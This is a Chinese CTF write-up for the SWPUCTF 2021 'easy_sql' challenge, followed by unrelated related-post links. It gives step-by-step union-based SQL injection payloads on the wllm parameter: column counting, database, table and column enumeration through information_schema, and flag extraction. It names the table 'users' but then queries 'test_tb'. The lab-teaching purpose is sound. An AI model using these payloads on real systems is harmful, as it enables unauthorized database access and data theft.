字符型注入([SWPUCTF 2021 新生赛]easy_sql)

拿到题目,查看源码,可知是要输入参数wllm。

输入参数/?wllm=1,得到会显

继续输入参数/?wllm=1',报错,确定为字符型漏洞

1.查看字段列表,发现在字段4报错,确定为3列

复制代码
?wllm=-1' order by 3--+
?wllm=-1' order by 4--+

2.查看回显

复制代码
?wllm=-1' union select 1,2,3--+

3.查询数据库名(test_db)

复制代码
?wllm=-1' union select 1,2,database()--+

4.查看test_db库的表(users)

复制代码
?wllm=-1' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='test_db'--+

5.查询字段

复制代码
?wllm=-1' union select 1,2,group_concat(column_name) from information_schema.columns where table_name='test_tb'--+

6.出现flag字段,查看flag字段的内容

复制代码
/?wllm=-1' union select 1,2,group_concat(id,flag) from test_tb--+ 

出现flag字段,成功解出

相关推荐
Nturmoils18 小时前
订单列表慢查询,先看 WHERE、ORDER BY 和 LIMIT
数据库
渣波1 天前
拒绝 SQL 焦虑!手把手带你用 NestJS + Prisma + DTO 写出“防弹”级后端代码
javascript·数据库·后端
冬奇Lab1 天前
Skill 系列(02):Skill 安全风险——三类攻击面的实战测试
人工智能·安全·开源
倔强的石头_2 天前
KingbaseES 新版MySQL 兼容版体验:旧版迁移 + 功能实测
数据库
zzzzzz3103 天前
9K Star 炸裂开源!这个 C 语言写的代码知识图谱,把 Linux 内核索引压缩到了 3 分钟
linux·服务器·sql
Aphasia3115 天前
VPN 与内网穿透
安全
倔强的石头_5 天前
《Kingbase护城河》——数据库存储空间全景探测与精细化瘦身实战
数据库
云技纵横5 天前
唯一索引 INSERT 死锁实战:5 秒复现交叉插入的 S 锁循环等待
sql·mysql
冬奇Lab5 天前
每日一个开源项目(第134篇):Zvec - 阿里开源的嵌入式向量数据库,向量搜索界的 SQLite
数据库·人工智能·llm
ClouGence6 天前
Oracle CDC 架构优化:从主库直连到 DataGuard 备库同步
数据库·后端·oracle